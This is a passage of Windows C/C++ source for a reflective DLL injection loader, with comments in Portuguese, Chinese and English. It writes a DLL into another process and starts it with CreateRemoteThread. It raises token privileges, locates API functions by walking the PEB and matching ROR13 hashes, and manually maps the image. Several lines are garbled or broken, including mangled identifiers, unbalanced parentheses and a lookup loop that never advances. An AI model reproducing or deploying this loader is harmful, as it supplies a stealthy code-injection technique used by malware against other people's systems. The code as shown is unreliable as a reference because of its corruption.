{
if (ProcessHandle == NULL || ModuleFileBaseAddress == NULL || ModuleFileSize == 0)
{
return NULL;
}
// Offset da função exportada em relação a ModuleBaseAddress
UINT32 FunctionOffset = GetLoadDllByOEPOffsetInFile(ModuleFileBaseAddress);
if (FunctionOffset == 0)
{
return NULL;
}
// Alocar memória no processo alvo
PVOID RemoteBufferData = VirtualAllocEx(ProcessHandle, NULL, ModuleFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (RemoteBufferData == NULL)
{
return NULL;
}
// Escrever o arquivo Dll no espaço de memória do processo alvo
BOOL bOk = WriteProcessMemory(ProcessHandle, RemoteBufferData, ModuleFileBaseAddress, ModuleFileSize, NULL);
if (bOk == FALSE)
{
return NULL;
}
// Executar Dll no formato de arquivo LoadDllByOEP
LPTHREAD_START_ROUTINE RemoteThreadCallBack = (LPTHREAD_START_ROUTINE)((PUINT8)RemoteBufferData + FunctionOffset);
ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 1024 * 1024, RemoteThreadCallBack, lParam, 0, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
ThreadHandle = NULL;
}
return ThreadHandle;
}
/************************************************************************
* Nome: LoadRemoteDll
* Param: ProcessHandle manipulador do processo
* Ret : HANDLE
* Obter o deslocamento LoadDllByOEP no arquivo Dll
************************************************************************/
UINT32 GetLoadDllByOEPOffsetInFile(PVOID DllBuffer)
{
UINT_PTR BaseAddress = (UINT_PTR)DllBuffer;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS NtHeader = NULL;
DosHeader = (PIMAGE_DOS_HEADER)BaseAddress;
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)BaseAddress + DosHeader->e_lfanew);
/*
#define IMAGE_NT_OPTIONAL_HDR32_MAGIC 0x10b
#define IMAGE_NT_OPTIONAL_HDR64_MAGIC 0x20b
#define IMAGE_ROM_OPTIONAL_HDR_MAGIC 0x107
*/
if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // pe32
{
}
else if (NtHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // pe64
{
}
else
{
return 0;
}
UINT32 ExportDirectoryRVA = NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)BaseAddress + RVAToOffset(ExportDirectoryRVA, NtHeader));
UINT32 AddressOfNamesRVA = ExportDirectory->AddressOfNames;
PUINT32 AddressOfNames = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfNamesRVA, NtHeader));
UINT32 AddressOfFunctionsRVA = ExportDirectory->AddressOfFunctions;
PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)BaseAddress + RVAToOffset(AddressOfFunctionsRVA, NtHeader));
UINT32 AddressOfNameOrdinalsRVA = ExportDirectory->AddressOfNameOrdinals;
PUINT16 AddressOfNameOrdinals = (PUINT16)((PUINT8)BaseAddress + RVAToOffset(AddressOfNameOrdinalsRVA, NtHeader));
for (UINT32 i = 0; i < ExportDirectory->NumberOfFunctions; i++)
{
CHAR* ExportFunctionName = (CHAR*)((PUINT8)BaseAddress + RVAToOffset(*AddressOfNames, NtHeader));
if (strstr(ExportFunctionName, "LoadDllByOEP") != NULL)
{
UINT16 ExportFunctionOrdinals = AddressOfNameOrdinals[i];
return RVAToOffset(AddressOfFunctions[ExportFunctionOrdinals], NtHeader);
}
}
return 0;
}
/************************************************************************
* Name : RVAToOffset
* Param: RVA 内存中偏移
* Param: NtHeader Nt头
* Ret : UINT32
* 内存中偏移转换成文件中偏移
************************************************************************/
UINT32 RVAToOffset(UINT32 RVA, PIMAGE_NT_HEADERS NtHeader)
{
UINT32 i = 0;
PIMAGE_SECTION_HEADER SectionHeader = NULL;
SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
if (RVA < SectionHeader[0].PointerToRawData)
{
return RVA;
}
for (i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
{
if (RVA >= SectionHeader[i].VirtualAddress && RVA < (SectionHeader[i].VirtualAddress + SectionHeader[i].SizeOfRawData))
{
return (RVA - SectionHeader[i].VirtualAddress + SectionHeader[i].PointerToRawData);
}
}
return 0;
}
/************************************************************************
* Nome: GetProcessIdByProcessImageName
* Parâmetro: wzProcessImageName Nome do imagem do processo (IN)
* Parâmetro: TargetProcessId Id do processo (OUT)
* Ret : BOOLEAN
* usar a série de funções ToolHelp para obter o Id do processo pelo nome do imagem do processo
************************************************************************/
BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
{
HANDLE ProcessSnapshotHandle = NULL;
PROCESSENTRY32 ProcessEntry32 = { 0 };
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32); // inicializar PROCESSENTRY32estrutura
ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // fornecer snapshots de todos os processos do sistema
if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
{
return FALSE;
}
Process32First(ProcessSnapshotHandle, &ProcessEntry32); // encontrar o primeiro
do
{
if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0) // não distingue maiúsculas e minúsculas
{
*TargetProcessId = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));
CloseHandle(ProcessSnapshotHandle);
ProcessSnapshotHandle = NULL;
return TRUE;
}
/************************************************************************
* Name : GrantPriviledge
* Param: PriviledgeName permissão a ser elevada
* Ret : BOOLEAN
* eleva as permissões desejadas
************************************************************************/
BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
DWORD dwReturnLength = sizeof(OldPrivileges);
HANDLE TokenHandle = NULL;
LUID uID;
// abrir o token de permissão
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
{
if (GetLastError() != ERROR_NO_TOKEN)
{
return FALSE;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
{
return FALSE;
}
}
if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID)) // procurar uID pelo nome da permissão
{
CloseHandle(TokenHandle);
return FALSE;
}
TokenPrivileges.PrivilegeCount = 1; // número de permissões a serem elevadas
TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // array dinâmico, o tamanho do array depende do número de Count
TokenPrivileges.Privileges[0].Luid = uID;
// aqui estamos ajustando as permissões
if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
{
CloseHandle(TokenHandle);
return FALSE;
}
// Concluído com sucesso
CloseHandle(TokenHandle);
return TRUE;
}
// LoadRemoteDll.h
#include <Windows.h>
#include <intrin.h>
#ifdef LOADREMOTEDLL_EXPORTS
#define LOADREMOTEDLL_API __declspec(dllexport)
#else
#define LOADREMOTEDLL_API __declspec(dllimport)
#endif
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define HASH_KEY 13
#pragma intrinsic( _rotr )
__forceinline UINT32 ror(UINT32 d)
{
return _rotr(d, HASH_KEY);
}
__forceinline UINT32 hash(char * c)
{
register UINT32 h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//////////////////////////////////////////////////////////////////////////
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB_LDR_DATA_WIN7_X64
{
UINT32 Length;
UINT8 Initialized;
UINT8 _PADDING0_[0x3];
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
UINT8 ShutdownInProgress;
UINT8 _PADDING1_[0x7];
PVOID ShutdownThreadId;
}PEB_LDR_DATA_WIN7_X64, *PPEB_LDR_DATA_WIN7_X64;
typedef struct _PEB_LDR_DATA_WINXP_X86
{
UINT32 Length;
UINT8 Initialized;
UINT8 _PADDING0_[0x3];
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
}PEB_LDR_DATA_WINXP_X86, *PPEB_LDR_DATA_WINXP_X86;
#ifdef _WIN64
#define PPEB_LDR_DATA PPEB_LDR_DATA_WIN7_X64
#define PEB_LDR_DATA PEB_LDR_DATA_WIN7_X64
#else 
#define PPEB_LDR_DATA PPEB_LDR_DATA_WINXP_X86
#define PEB_LDR_DATA PEB_LDR_DATA_WINXP_X86
#endif
typedef struct _CURDIR
{
UNICODE_STRING DosPath;
HANDLE Handle;
} CURDIR, *PCURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS_WINXP_X86 {
UINT32 MaximumLength;
UINT32 Length;
UINT32 Flags;
UINT32 DebugFlags;
HANDLE ConsoleHandle;
UINT32 ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // ProcessParameters
UNICODE_STRING DllPath; // ProcessParameters
UNICODE_STRING ImagePathName; // ProcessParameters
UNICODE_STRING CommandLine; // ProcessParameters
PVOID Environment;
UINT32 StartingX;
UINT32 StartingY;
UINT32 CountX;
UINT32 CountY;
UINT32 CountCharsX;
UINT32 CountCharsY;
UINT32 FillAttribute;
UINT32 WindowFlags;
UINT32 ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
UINT32 CurrentDirectores[8];
}RTL_USER_PROCESS_PARAMETERS_WINXP_X86, *PRTL_USER_PROCESS_PARAMETERS_WINXP_X86;
typedef struct _RTL_USER_PROCESS_PARAMETERS_WIN7_X64 {
UINT32 MaximumLength;
UINT32 Length;
UINT32 Flags;
UINT32 DebugFlags;
HANDLE ConsoleHandle;
UINT32 ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory; // ProcessParameters
UNICODE_STRING DllPath; // ProcessParameters
UNICODE_STRING ImagePathName; // ProcessParameters
UNICODE_STRING CommandLine; // ProcessParameters
PVOID Environment;
UINT32 StartingX;
UINT32 StartingY;
UINT32 CountX;
UINT32 CountY;
UINT32 CountCharsX;
UINT32 CountCharsY;
UINT32 FillAttribute;
UINT32 WindowFlags;
UINT32 ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
UINT32 CurrentDirectores[8];
UINT64 EnvironmentSize;
UINT64 EnvironmentVersion;
}RTL_USER_PROCESS_PARAMETERS_WIN7_X64, *PRTL_USER_PROCESS_PARAMETERS_WIN7_X64;
#ifdef _WIN64
#define PRTL_USER_PROCESS_PARAMETERS PRTL_USER_PROCESS_PARAMETERS_WIN7_X64
#define RTL_USER_PROCESS_PARAMETERS RTL_USER_PROCESS_PARAMETERS_WIN7_X64
#else 
#define PRTL_USER_PROCESS_PARAMETERS PRTL_USER_PROCESS_PARAMETERS_WINXP_X86
#define RTL_USER_PROCESS_PARAMETERS RTL_USER_PROCESS_PARAMETERS_WINXP_X86
#endif
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#ifndef _WIN64
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif
typedef UINT32 GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
// PEB结构
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsLegacyProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser :32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN SpareBits : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
UINT32 CrossProcessFlags;
struct
{
UINT32 ProcessInJob : 1;
UINT32 ProcessInitializing : 1;
UINT32 ProcessUsingVEH : 1;
UINT32 ProcessUsingVCH : 1;
UINT32 ProcessUsingFTH : 1;
UINT32 ReservedBits0 : 27;
};
UINT32 EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
UINT32 SystemReserved[1];
UINT32 AtlThunkSListPtr32;
PVOID ApiSetMap;
UINT32 TlsExpansionCounter;
PVOID TlsBitmap;
UINT32 TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
UINT32 NumberOfProcessors;
UINT32 NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
UINT32 NumberOfHeaps;
UINT32 MaximumNumberOfHeaps;
PVOID* ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
UINT32 GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
UINT32 OSMajorVersion;
UINT32 OSMinorVersion;
UINT16 OSBuildNumber;
UINT16 OSCSDVersion;
UINT32 OSPlatformId;
UINT32 ImageSubsystem;
UINT32 ImageSubsystemMajorVersion;
UINT32 ImageSubsystemMinorVersion;
UINT_PTR ImageProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
UINT32 TlsExpansionBitmapBits[32];
UINT32 SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID* FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
UINT32 FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(UINT32) * 8);
UINT32 FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pContextData;
PVOID pImageHeaderHash;
union
{
UINT32 TracingFlags;
struct
{
UINT32 HeapTracingEnabled : 1;
UINT32 CritSecTracingEnabled : 1;
UINT32 LibLoaderTracingEnabled : 1;
UINT32 SpareTracingBits : 29;
};
};
UINT64 CsrServerReadOnlySharedMemoryBase;
} PEB, *PPEB;
// Ldr three link list structure
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
UINT32 SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
UINT32 Flags;
UINT16 LoadCount;
UINT16 TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
UINT32 CheckSum;
};
};
union {
struct {
UINT32 TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
struct _ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY;
LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam);
// LoadRemoteDll.cpp
// LoadRemoteDll.cpp : Define the export functions of the DLL application.
//
#include "stdafx.h"
#include "LoadRemoteDll.h"
#pragma intrinsic(_ReturnAddress)
__declspec(noinline)
UINT_PTR caller()
{
return (UINT_PTR)_ReturnAddress(); // #include <intrin.h>
}
typedef
HMODULE
(WINAPI * pfnLoadLibraryA)(LPCSTR lpLibFileName);
typedef
FARPROC
(WINAPI * pfnGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
typedef
LPVOID
(WINAPI * pfnVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef
LONG // NTSTATUS
(NTAPI * pfnNtFlushInstructionCache)(HANDLE ProcessHandle, PVOID BaseAddress, SIZE_T Length);
typedef
BOOL
(APIENTRY * pfnDllMain)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
LOADREMOTEDLL_API UINT_PTR WINAPI LoadDllByOEP(PVOID lParam)
{
UINT_PTR LibraryAddress = 0;
PIMAGE_DOS_HEADER DosHeader = NULL;
PIMAGE_NT_HEADERS NtHeader = NULL;
pfnLoadLibraryA LoadLibraryAAddress = NULL;
pfnGetProcAddress GetProcAddressAddress = NULL;
pfnVirtualAlloc VirtualAllocAddress = NULL;
pfnNtFlushInstructionCache NtFlushInstructionCacheAddress = NULL;
LibraryAddress = caller(); // Obter endereço do próximo comando, na verdade é para obter o endereço do comando atual, para fornecer ponto de partida para a busca do cabeçalho PE posterior
DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
while (TRUE)
{
if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE &&
DosHeader->e_lfanew >= sizeof(IMAGE_DOS_HEADER) &&
DosHeader->e_lfanew < 1024)
{
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
{
break;
}
}
LibraryAddress--;
DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
}
// Obter PEB
#ifdef _WIN64
PPEB Peb = (PPEB)__readgsqword(0x60);
#else
PPEB Peb = (PPEB)__readfsdword(0x30);
#endif
PPEB_LDR_DATA Ldr = Peb->Ldr;
// 1.Obter endereço de função exportada do Dll
for (PLIST_ENTRY TravelListEntry = (PLIST_ENTRY)Ldr->InLoadOrderModuleList.Flink;
TravelListEntry != &Ldr->InLoadOrderModuleList; // Nó vazio
TravelListEntry = TravelListEntry->Flink)
{
PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)TravelListEntry;
UINT32 FunctionCount = 0;
// WCHAR* DllName = (WCHAR*)LdrDataTableEntry->BaseDllName.Buffer;
UINT_PTR DllName = (UINT_PTR)LdrDataTableEntry->BaseDllName.Buffer;
UINT32 DllLength = LdrDataTableEntry->BaseDllName.Length;
UINT_PTR DllBaseAddress = (UINT_PTR)LdrDataTableEntry->DllBase;
DosHeader = (PIMAGE_DOS_HEADER)DllBaseAddress;
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)DllBaseAddress + DosHeader->e_lfanew);
IMAGE_DATA_DIRECTORY ExportDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)DllBaseAddress + ExportDataDirectory.VirtualAddress);
PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfFunctions);
PUINT32 AddressOfNames = (PUINT32)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNames);
PUINT16 AddressOfNameOrdinals = (PUINT16)((PUINT8)DllBaseAddress + ExportDirectory->AddressOfNameOrdinals);
UINT16 Ordinal = 0;
UINT_PTR ExportFunctionAddress = 0;
UINT32 HashValue = 0;
// Converter the Dll name to Hash value
do
{
HashValue = ror((UINT32)HashValue);
if (*((PUINT8)DllName) >= 'a'
{
HashValue += *((PUINT8)DllName) - 0x20;
}
else
{
HashValue += *((PUINT8)DllName);
}
DllName++;
} while (--DllLength);
if (HashValue == KERNEL)32DLL_HASH)
{
FunctionCount = 3;
for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++)
{
if (FunctionCount == 0)
{
break;
}
CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]);
HashValue = hash(szExportFunctionName);
if (HashValue == LOADLIBRARYA_HASH)
{
Ordinal = AddressOfNameOrdinals[i];
LoadLibraryAAddress = (pfnLoadLibraryA)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
FunctionCount--;
}
else if (HashValue == GETPROCADDRESS_HASH)
{
Ordinal = AddressOfNameOrdinals[i];
GetProcAddressAddress = (pfnGetProcAddress)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
FunctionCount--;
}
else if (HashValue == VIRTUALALLOC_HASH)
{
Ordinal = AddressOfNameOrdinals[i];
VirtualAllocAddress = (pfnVirtualAlloc)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
FunctionCount--;
}
}
}
else if (HashValue == NTDLLDLL_HASH)
{
FunctionCount = 1;
for (INT i = 0; i < ExportDirectory->NumberOfFunctions; i++)
{
if (FunctionCount == 0)
{
break;
}
CHAR* szExportFunctionName = (CHAR*)((PUINT8)DllBaseAddress + AddressOfNames[i]);
HashValue = hash(szExportFunctionName);
if (HashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
Ordinal = AddressOfNameOrdinals[i];
NtFlushInstructionCacheAddress = (pfnNtFlushInstructionCache)((PUINT8)DllBaseAddress + AddressOfFunctions[Ordinal]);
FunctionCount--;
}
}
}
if (LoadLibraryAAddress != NULL &&
GetProcAddressAddress != NULL &&
VirtualAllocAddress != NULL &&
NtFlushInstructionCacheAddress != NULL)
{
break;
}
}
// 2.Solicitar memória, recarregar nosso Dll
// Atualizar novamente o DosHeader e o NtHeader
DosHeader = (PIMAGE_DOS_HEADER)LibraryAddress;
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)LibraryAddress + DosHeader->e_lfanew);
// Realocar memória (SizeOfImage é o tamanho do PE na memória)
/* _asm
{
int 3;
}
*/
// Este ponteiro de cabeçalho recém-alocado não pode ser movido aleatoriamente, use uma variável para substituir
UINT_PTR NewBaseAddress = (UINT_PTR)VirtualAllocAddress(NULL, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
UINT_PTR OldPtr = LibraryAddress;
UINT_PTR BasePtr = NewBaseAddress;
// 2.1Primeiro copiar o cabeçalho + Tabela de Secções
UINT32 SizeOfHeaders = NtHeader->OptionalHeader.SizeOfHeaders;
while (SizeOfHeaders--)
{
*(PUINT8)BasePtr++ = *(PUINT8)OldPtr++;
}
// memcpy((PVOID)NewBaseAddress, (PVOID)LibraryAddress, NtHeader->OptionalHeader.SizeOfHeaders);
/*
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)&NtHeader->OptionalHeader + NtHeader->FileHeader.SizeOfOptionalHeader);
UINT32 NumberOfSections = NtHeader->FileHeader.NumberOfSections;
while (NumberOfSections--)
{
UINT_PTR NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader->VirtualAddress);
UINT_PTR OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader->PointerToRawData);
UINT32 SizeOfRawData = SectionHeader->SizeOfRawData;
while (SizeOfRawData--)
{
*(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++;
}
SectionHeader = (PIMAGE_SECTION_HEADER)((PUINT8)SectionHeader + sizeof(IMAGE_SECTION_HEADER));
}
*/
// 2.2拷贝节区
PIMAGE_SECTION_HEADER SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
for (INT i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
{
if (SectionHeader[i].VirtualAddress == 0 || SectionHeader[i].SizeOfRawData == 0) // 节块里面没有数据
{
continue;
}
// 定位该节块在内存中的位置
UINT_PTR NewSectionAddress = (UINT_PTR)((PUINT8)NewBaseAddress + SectionHeader[i].VirtualAddress);
UINT_PTR OldSectionAddress = (UINT_PTR)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData);
// 复制节块数据到虚拟内存
UINT32 SizeOfRawData = SectionHeader[i].SizeOfRawData;
while (SizeOfRawData--)
{
*(PUINT8)NewSectionAddress++ = *(PUINT8)OldSectionAddress++;
}
//memcpy(SectionAddress, (PVOID)((PUINT8)LibraryAddress + SectionHeader[i].PointerToRawData), SectionHeader[i].SizeOfRawData);
}
// 2.3Corrigir tabela de importação (IAT)
IMAGE_DATA_DIRECTORY ImportDataDirectory = (IMAGE_DATA_DIRECTORY)(NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);
PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)NewBaseAddress + ImportDataDirectory.VirtualAddress);
/* 
_asm
{
int 3;
}
*/
/*
while (ImportDescriptor->Characteristics != 0)
{
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->FirstThunk);
PIMAGE_THUNK_DATA OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor->OriginalFirstThunk);
// Obter nome do módulo importado
// char szModuleName[MAX_PATH] = { 0 };
PCHAR ModuleName = (PCHAR)((PUINT8)NewBaseAddress + ImportDescriptor->Name);
HMODULE Dll = LoadLibraryAAddress(ModuleName);
UINT_PTR FunctionAddress = 0;
for (INT i = 0; OriginalFirstThunk[i].u1.Function != 0; i++)
{
if (IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[i].u1.Ordinal))
{
FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[i].u1.Ordinal))));
}
else
{
PIMAGE_IMPORT_BY_NAME ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[i].u1.AddressOfData);
FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, (CHAR*)ImageImportByName->Name); // 通过函数名称得到函数地址
}
FirstThunk[i].u1.Function = FunctionAddress;
}
ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((PUINT8)ImportDescriptor + sizeof(IMAGE_IMPORT_DESCRIPTOR));
}
*/
for (INT i = 0; ImportDescriptor[i].Name != NULL; i++)
{
// 加载导入动态库
HMODULE Dll = LoadLibraryAAddress((const CHAR*)((PUINT8)NewBaseAddress + ImportDescriptor[i].Name));
PIMAGE_THUNK_DATA OriginalFirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].OriginalFirstThunk);
PIMAGE_THUNK_DATA FirstThunk = (PIMAGE_THUNK_DATA)((PUINT8)NewBaseAddress + ImportDescriptor[i].FirstThunk);
UINT_PTR FunctionAddress = 0;
// 遍历每个导入模块的函数
for (INT j = 0; OriginalFirstThunk[j].u1.Function; j++)
{
if (&OriginalFirstThunk[j] && IMAGE_SNAP_BY_ORDINAL(OriginalFirstThunk[j].u1.Ordinal))
{
// 序号导入---->这里直接从Dll的导出表中找到函数地址
// FunctionAddress = (UINT_PTR)GetProcAddressAddress(Dll, MAKEINTRESOURCEA((IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal)))); // 除去最高位即为序号
DosHeader = (PIMAGE_DOS_HEADER)Dll;
NtHeader = (PIMAGE_NT_HEADERS)((PUINT8)Dll + DosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PUINT8)Dll + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 导出函数地址RVA数组
PUINT32 AddressOfFunctions = (PUINT32)((PUINT8)Dll + ExportDirectory->AddressOfFunctions);
UINT16 Ordinal = IMAGE_ORDINAL(OriginalFirstThunk[j].u1.Ordinal - ExportDirectory->Base); // 导出函数编号 - Base(导出函数编号的起始值) = 导出函数在函数地址表中序号
FunctionAddress = (UINT_PTR)((PUINT8)Dll + AddressOfFunctions[Ordinal]);
}
else
{
// 名称导入
PIMAGE_IMPORT_BY_NAME ImageImportByName = (PIMAGE_IMPORT_BY_NAME)((PUINT8)NewBaseAddress + OriginalFirstThunk[j].u1.AddressOfData);
